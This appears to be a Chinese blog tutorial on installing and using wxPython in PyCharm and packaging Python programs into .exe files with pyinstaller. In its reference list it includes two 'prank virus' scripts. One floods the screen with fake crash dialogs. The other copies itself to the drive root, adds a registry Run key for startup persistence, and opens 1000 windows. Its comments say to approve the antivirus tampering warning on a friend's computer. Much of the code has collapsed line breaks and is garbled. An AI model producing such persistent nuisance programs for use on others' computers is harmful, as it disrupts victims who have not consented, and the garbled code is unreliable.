全文目录

  • wxPython 图形用户界面
    • PyCharm 中安装 wxPython库
    • PyCharm中将程序打包成 .exe 可执行文件
  • wxPython 的使用
    • 第一个wxPython 程序
    • 自定义窗口类
    • 在窗口中添加控件
    • 事件处理
    • 布局管理
    • 控件
    • 如何使用wxPython 官方文档
  • 程序下载
  • 参考资料

wxPython 图形用户界面

Python 中的图形用户界面(Graphical User Interfa GUI)开发库有很多,较为突出有:Tkinter 、PyQt 和 wxPython。 推荐大家使用wxPython 开发图形用户界面。

  • 1、Tkinter 是 Python 官方提供的图形用户界面开发库,用于封装Tk GUI工具包,跨平台。但是 Tkinter 工具包所含的控件较少,帮助文档不健全,不便于我们开发复杂的图形用户界面。
  • 2、PyQt 是非Python官方提供的图形用户界面开发库,用于封装Qt 工具包,跨平台若想使用PyQt 工具包,则需要额外安装软件包。
  • 3、wxPython 是非Python官方提供的图形用户界面开发库,也跨平台。他提供了丰富的控件,可用于开发复杂的图形用户界面。它的工具包帮助文档很完善,案例也很丰富。

下载地址:https://www.wxpython.org/pages/downloads/

wxPython 是非官方库,需要对其额外安装,使用Python 的 pip 指令安装,pip 是Python提供的包(库)管理工具 ,可以对第三方库进行安装、卸载等操作。

安装指令:pip install wxpython


PyCharm 中安装 wxPython库

依次点击【File 】-【Settings】- 【Project :Python projectD】-【Project Interpreter】进入如下界面。

国内源

  • 清华:https://pypi.tuna.tsinghua.edu.cn/simple
  • 阿里:http://mirrors.aliyun.com/pypi/simple/
  • 豆瓣:http://pypi.douban.com/simple/
  • 华中理工大学:http://pypi.hustunique.com/
  • 山东理工大学:http://pypi.sdutlinux.org/
  • 中国科学技术大学:http://pypi.mirrors.ustc.edu.cn/

根据文末的参考资料第二篇文章中更换国内镜像成功安装 wxpython,更换源可能你会遇到多次安装超时的错误报错。

报错一:pip._vendor.urllib3.exceptions.ReadTimeoutError:TTPSConnectionPool(host='pypi.tuna.tsinghua.edu.cn

如果没有更换国内源,重复安装试试!

报错二:

error: Microsoft Visual C++ 14.0 is required. Get it with "Build Tools for Visual Studio": https://visualstudio.microsoft.com/downloads/

针对以上错误,一种解决方案是安装 Visual Studio2015。但是,这需要几个GB的磁盘空间。另外一种解决方法是安装预编译的二进制文件。该网页http://www.lfd.uci.edu/~gohlke/pythonlibs (镜)包含预编译的二进制许多Python包。

GIF演示 PyCharm 中添加 wxpython 库:


最终解决办法参考>>点击这里 << , 添加wxpython第三方包

1、中端Terminal 输入以下命令:
python.exe -m pip install 模块名称 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com

2、模块名称 = wxpython

3、国内源:http://pypi.douban.com/simple

PyCharm中将程序打包成 .exe 可执行文件

1、GIF演示PyCharm 中添加pyinstaller库

2、在 PyCharm 的 Terminal 终端输入如下命令:

pyinstaller -F *****.py
pyinstaller -F -w *****.py (-w就是取消dos窗口)
pyinstaller -F -w --icon=p.ico Random_.py
(–icon=p.ico , p.ico为图标的文件名,与【dist】目录为同一个保存路径)

命令相关参数如下:

  • icon=图标路径(pyinstaller -F --icon=my.ico XXXX.py)
  • -F 打包成一个 exe 文件
  • -w 使用窗口, 无控制台
  • -c 使用控制台, 无窗口
  • -D 创建一个目录, 里面包含 exe 以及其他一些依赖性文件

3、最后,在项目的【 dist】 目录下可以找到生成了 exe 文件。

补充: .exe 文件本质是将 Python 解释器和程序打包到了一起, 这样我们执行程序时就不用管 Windows 系统是不是有 Python 解释器。

2021/08/13 Debug 记录:
【小技巧】pycharm 安装pyinstaller 库生成.exe文件时,提示“ pyinstaller 不是内部或外部命令……”


参考资料

  • [1] 【博客园】wxPython的安装(Windows)
  • [2] 【推荐】PyCharm中关于安装第三方包的问题,给你三个建议。
  • [3] Pycharm+Python之wxPython安装教程
  • [4] 【推荐】pyCharm中将 python 程序打包成 exe 文件
  • [4] 【B站-鱼C-小师妹】给上铺兄弟来点"病毒"【Python恶搞程序】
# 安装方法 清华镜像
# python -m pip install xxx -i https://pypi.tuna.tsinghua.edu.cn/simple#依赖库
from wx import *
from _thread import start_new_thread  #创建线程
from time import sleepi = 2  #创建变量,本地变量app = App()   #事件
app.MainLoop()#创建奇偶判断函数
def xsmVirus():global i    #声明 i 全局变量i += 1      #奇偶切换if i%2 == 0:#偶数MessageBox("是否重启?","警告",OK | ICON_WARNING)#方框显示消息内容,方框标题,按钮,else:MessageBox("系统已崩溃!","严重错误",OK | ICON_ERROR)while True:#调用函数#xsmVirus()start_new_thread(xsmVirus,()) sleep(0.4)

2020/12/07更新: Python无限弹窗, Windows开机启动,打包为exe程序


import tkinter as tk
import random,threading,win32api,win32con, shutil,os,sysdef Mymovefile(): #移动程序到当前分区下命名为 ARE_YOU_OKAY.exe。朋友问删了为什么还会执行。当然是因为有备份,玩够了就在分区下面删除这个吧。if not os.path.exists(os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe'): #看当前分区下有没有shutil.copyfile(os.path.abspath(sys.argv[0]), os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe')  # 移动文件class AutoRun(): #设置为开机自启程序######《《《《第一次360会提示篡改程序,在朋友的电脑上帮他确定一下。以后开机都会执行》》》》def __init__(self):name = 'lalalulala'  # 要添加的项值名称path = os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe'  # 要添加的exe路径KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,  KeyName, 0,  win32con.KEY_ALL_ACCESS)win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)win32api.RegCloseKey(key)def Play():    #展示的效果window = tk.Tk()width = window.winfo_screenwidth()height = window.winfo_screenheight()a = random.randrange(20, width)b = random.randrange(20, height)window.title('给你看个小病毒')window.geometry("400x100" + "+" + str(a) + "+" + str(b))tk.Label(window,text='你吃饭了吗?',  # 标签的文字bg='Red',  # 背景颜色font=('楷体', 17),  # 字体和字体大小width=466, height=4  # 标签长宽).pack()  # 固定窗口位置window.mainloop()
threads = []if __name__=="__main__":  # 程序入口 相当于C/C++ 的 mani() Mymovefile()AutoRun()for i in range(1000):     #依电脑性能调值大;千万不要 while True:t = threading.Thread(target=Play)t.start()
  • [1] 如何简单地理解Python中的if __name__ == "__main__"

  • [2] python中的模块、库、包有什么区别?lib 、package 、 module 从大到小的层级关系:库->包->模块

  • [3] pycharm 中安装pypiwin32 python.exe -m pip install pypiwin32 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com

wxPython的statictext简介:wxpython之StaticText介绍


wxPython 的使用

第一个wxPython 程序

图形用户界面主要是由窗口 和 窗口中的控件 构成,编写wxpython 程序其实主要是创建窗口和添加控件的过程。

若要构建一个最简单的wxpython 程序,则至少需要一个应用(wx.App)对象和一个窗口(wx.Frame)对象。

示例代码如下:

import wx# 创建应用程序对象
app = wx.App()# 创建窗口对象
frm = wx.Frame(None, title="第一个 wxPython 程序!", size=(400, 300), pos=(100, 100))
# 显示窗口
frm.Show()# 进入主事件循环
app.MainLoop()

主事件循环 是一种时间或消息分发处理机制,大部分图形用户界面在界面中的显示及相应用户事件的处理都是通过主事件循环实现的。

在 PyCharm 中 通过Run 运行程序,输出结果,弹出窗口效果如下:


自定义窗口类
import wx# 自定义窗口类MyFrame
class MyFrame(wx.Frame):def __int__(self):super().__int__(None, title="第一个 wxPython 程序!", size=(400, 300), pos=(100, 100))#你的代码# 创建应用程序对象
app = wx.App()# 创建窗口对象
frm = wx.Frame()
# 显示窗口
frm.Show()# 进入主事件循环
app.MainLoop()

在窗口中添加控件

在窗口中添加两个控件:一个面板(Panel) 和 一个静态文本(Static Text)。面板是一个没有标题的容器(可以容纳其他控件的控件)。


示例中,面板被放在了窗口中,而静态文本对象被放在了面板中。其实,控件也可以直接放在窗口中,但是直接把控件放到窗口中在布局的时候会有很多问题,所以推荐将控件放置在面板中方便后期布局。

注意:在练习自定义窗口类的时候,运行程序,无报错,也不弹出窗口。

最后找到解决办法了,在My_Frame 类中修改 def __init__(self, *args, **kw) 函数内的参数:

class MyFrame(wx.Frame):def __init__(self, *args, **kw):super(MyFrame, self).__init__(None, title="第一个 wxPython 程序!", size=(400, 300), pos=(100, 100))

不创建窗口类,添加面板和静态文本的时候,运行成功,示例代码如下:

import wx# 创建应用程序对象
app = wx.App()# 创建窗口对象
frm = wx.Frame(None, title="第一个 wxPython 程序!", size=(400, 300), pos=(100, 100))
panel = wx.Panel(parent=frm)
statictext = wx.StaticText(parent=panel, label='Hello ,World!', pos=(10, 10))# 显示窗口
frm.Show()# 进入主事件循环
app.MainLoop()

在 PyCharm 中 通过Run 运行程序,输出结果,弹出窗口效果如下:

事件处理

布局管理


绝对布局让窗口面板中的控件的位置和大小没有随着窗口的变化而变化。

wxpython 提供了布局管理器类帮助实现界面布局,主要分为:盒子布局管理器 和 网络布局管理器。盒子布局雷士与 CSS 中的弹性布局,非常灵活。

下面详细地介绍一下,盒子布局管理器的使用。

盒子布局管理器类是 wx.BoxSizer,Box 布局管理器 是最常用的布局管理器,它可以让其中的子窗口(或控件)沿垂直或水平方向布局。


设置为水平方向布局:
wx.BoxSizer(wx.HORIZONTAL)

设置为垂直方向布局:
wx.BoxSizer(wx.VERTICAL)

其中,wx.HORIZONTAL是默认值,可以省略。

添加子窗口到父窗口 :
Add (window, proportion=0 ,flag=0, border=0)

添加到父窗口:

Add (sizer, proportion=0 ,flag=0, border=0)

参数说明:
- proportion 参数:用于设置当前子窗口(或控件)在父窗口中所占的比例。
- flag 参数:是布局的标志,用来控制对齐方式、边框和调整尺寸(非常重要,对应的具体参数设置百度)
- border 参数:用于设置边框的宽度 (也就是控件距离窗口上端或者下端之间的距离)

控件

1、文本输入控件
2、复选框和单选框按钮控件
3、列表
4、静态图片控件

如何使用wxPython 官方文档

1、打开wxPython 官网页面 ,选择 Documentation 菜单中的 API Reference 。


2、打开官方API帮助文档。 可以在左边的搜索框内查找内容。

3、打开帮助文档。>>Button控件的官方使用说明<<


程序下载

  • [1] 【GitHub】 | wxPython 图形用户界面(GUI) 随机点名小程序(2021.10.10 pm 22.45)
  • [2] 【CSDN 】| wxPython 图形用户界面(GUI) 随机点名小程序(2022.10.08 am 10:56)

效果如下:

注意:列表越界报错 IndexError: list index out of range


参考资料

  • [1] 《看漫画学Python :有趣、有料、好玩、好用 》第13章 图形用户界面
  • [2] Welcome to wxPython ! 官网文档
  • [3]易百教程:wxPython 教程之 StaticText 静态文本类 And wxPython各种控件用法官方手册
  • [4] 如何才能干净地退出wxPython应用程序?
   # frame.Close()def Stop_Click(self, event):self.Close() #退出程序
  • [5] 【Python】IndexError: list index out of range 列表越界错误原因及解决过程
  • [6] 通过调用StaticBitmap对象的SetBitmap()更换显示的图片 自动适配图片尺寸
  • [6] Python -PythonIDE - PyCharm下载安装、配置及 GIT 排错记录

Python wxpython篇 | Python生态库之图形用户界面开发库 “wxPython “ 的安装及使用(附. 使用pyinstaller 库打包Python随机点名小程序程序.exe文件)相关推荐

  1. python图形用户界面设计报告_19.1 Python图形用户界面开发工具包

    ,赠送一本"Python相关图书".咨询方式:加[51CTO-关老师付费群]523714201 验证消息:咨询赠书 本视频采用**Python 3.X版 本书是智捷课堂开发的立体化 ...

  2. python - 啃书 第十二章 图形用户界面编程

    此篇中,介绍的是个第三方库,而该库的书籍,Creating GUI Applications with wxPython Kindle Edition, 358 pages,完全是把一个前端教程缩减到 ...

  3. 安装ngtpy踩坑记录(C++打包Python的一些小坑)

    文章目录 前言 一.前期准备 二.大致步骤 坑一:关于解释器的问题 坑二:关于pybind11 写在后面 前言 最近需要使用NGT包,链接: 参考博客,这篇博客对NGT包做了简介,其主要内容翻译自源码 ...

  4. pyinstaller精简打包python项目完整流程,含常见问题解决方案

    最近写了一个python爬虫小项目,想打包成一个exe文件,放在其他电脑上使用.但是没想到一个20B的py文件打包过程却十分艰辛.先后经历了打包失败无法运行,打包成功但是运行十分缓慢,打包了一大堆不需 ...

  5. 【项目实战】——Python打包正装换底色代码为exe文件(可在其他无Python环境下运行)

    目录 1.安装pyinstaller 2.生成.exe文件 方法1: 方法2: 方法3: (1)使用命令行窗口进入项目的根目录 (2)在改目录下执行pyi-makespec main.py(main. ...

  6. python打包成exe fail to ex_“failed to excute script xxx” PyInstaller 打包python程序为exe文件过程错误...

    在使用PyInstaller打包python程序,打包命令为: pyinstaller -F -w -i manage.ico yourpyfile.py 顺便说一下几个参数的作用 -F:是直接生成单 ...

  7. python实现excel中vlookup函数功能并打包为win环境可执行的exe文件

    最近工作用到数据对比处理,Excel用的比较多,奈何自己VBA不够熟悉,复杂一点的功能,做起来挺吃力的,就想起了Python来解决.   将期望功能代码打包成exe文件,在window环境中运行,获得 ...

  8. java swing图形界面开发设计器windowbuilder安装步骤详解

    前言 WindowBuilder 是java swing的一款图形界面开发设计器,他可以大大增加开发项目的速度,对于eclipse这款开发工具,他是没有提供windowbuilder设计器的,如果要使 ...

  9. python图形界面开发库_Python图形界面开发—wxPython库的布局管理及页面切换

    前言 wxPython是基于Python的跨平台GUI扩展库,对wxWidgets( C++ 编写)封装实现.GUI程序的开发中界面布局是很重要的一个部分,合理的页面布局能够给予用户良好使用体验.虽然 ...

最新文章

  1. 报错提示:java.lang.IllegalArgumentException: Target must not be null
  2. 微信小程序拼团后端接口设计规范
  3. linux命令chmod
  4. crontab linux
  5. 学会JavaScript函数式编程(第1部分)
  6. OpenCASCADE绘制测试线束:OCAF 命令之基本命令
  7. Gompertz模型绘图 matlab,Logistic模型matlab求解
  8. ubuntu系统文件删除/复制/移动
  9. 做开源 18 年,他想把中国开源带向世界 | 人物志
  10. python记录_day33 线程
  11. spring mvc 自定义编辑器
  12. Java三大特性的理解
  13. 轻松获得oblog2.52的WebShell
  14. 工欲善其事,必先利器—Regex正则表达式工具
  15. linux 查看wav文件内容,Linux 播放wav文件
  16. Echarts图例位置 - legend属性
  17. 【心悟水浒】带团队懂管理
  18. @codeforces - 793G@ Oleg and chess
  19. [Codeup]1814 问题 A: 剩下的树
  20. 简易的单点登录系统代码实现

热门文章

  1. 小白上路之javascript数组的介绍
  2. python数字转换_python数字转换
  3. 动态的渐变色网页背景
  4. dotnet 基于 debian 创建一个 docker 的 sdk 镜像
  5. 闲鱼的统一跨端 API 方案 —— Uni API
  6. catalog英文翻译_Catalog.是什么意思
  7. 游戏服务器设计(C#)简单版
  8. 具名插槽 slot使用
  9. Codeforces1324D Pair of Topics (思维 + 二分)
  10. Android程序员必备,offer拿到手软